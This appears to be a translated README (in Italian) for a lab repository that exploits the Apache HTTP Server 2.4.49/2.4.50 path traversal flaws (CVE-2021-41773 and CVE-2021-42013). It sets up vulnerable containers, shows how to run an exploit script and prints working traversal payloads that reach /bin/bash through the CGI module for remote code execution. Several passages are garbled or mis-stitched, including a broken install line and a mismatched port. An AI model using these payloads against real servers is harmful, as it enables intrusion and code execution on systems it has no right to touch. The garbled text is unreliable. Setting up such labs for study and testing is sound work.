
È stata riscontrata una vulnerabilità in una modifica apportata alla normalizzazione dei path in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file esterni alle directory configurate tramite direttive simili ad Alias. Se i file esterni a queste directory non sono protetti dalla configurazione predefinita "require all denied", queste richieste possono avere successo. Se anche gli script CGI sono abilitati per questi path aliasati, ciò potrebbe consentire l'esecuzione remota di codice. Questo problema è noto per essere sfruttato in ambienti reali. Questo problema riguarda solo Apache 2.4.49 e non le versioni precedenti. La correzione in Apache HTTP Server 2.4.50 è incompleta, vedere CVE-2021-42013.
pip3 install colorama)perl di esempio "hello-world" in esecuzione nei containerAvvia un Apache httpd vulnerabile (con configurazione predefinita) come container docker/podman.
| Dockerfile | Container | Versione |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Porta di ascolto |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 seleziona l'attacco sulla versione 2.4.49
1.3 python3 main.py localhost:2450
1.4 seleziona l'attacco sulla versione 2.4.50
L'exploit utilizzerà il modulo CGI di Apache httpd per consentire l'esecuzione di eseguibili arbitrari tramite path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ è url-encoded e equivale a ../ se decodificato.
.%%32%658 è doppiamente url-encoded e equivale anch'esso a ../ se decodificato.